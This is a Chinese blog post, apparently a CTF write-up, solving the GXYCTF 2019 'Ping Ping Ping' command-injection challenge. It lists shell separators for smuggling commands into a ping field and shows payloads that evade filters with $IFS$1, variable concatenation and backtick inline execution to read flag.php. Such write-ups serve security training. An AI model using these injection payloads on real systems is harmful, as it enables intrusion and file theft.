[GXYCTF 2019]Ping Ping Ping

文章介绍了如何在遇到RCE(远程代码执行)考点时,利用Linux命令的不同组合方式,如逻辑运算符(&&和||)、管道(|)、后台执行(&)以及变量拼接和内联执行来构造payload,绕过过滤机制读取目标文件。提到了字符串拼接和内联执行两种方法,并给出了具体示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.打开环境,发现考点是RCE

这种题就五种写法:

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

用127.0.0.1;ls读取到flag.php和index.php

再用127.0.0.1;cat$IFS$1index.php读到index.php的源码

发现过滤了很多东西,其中flag是一个一个匹配的,所以不能用\或'绕过

有两种payload:

1.字符串拼接

127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
#注意空格可以用$IFS$1,${IFS},$IFS$9代替
#注意变量a,b的顺序不能反过来

2.内联执行

127.0.0.1;cat$IFS$1`ls`
#反引号在linux中代表内联执行,会返回ls结果的所有cat的结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值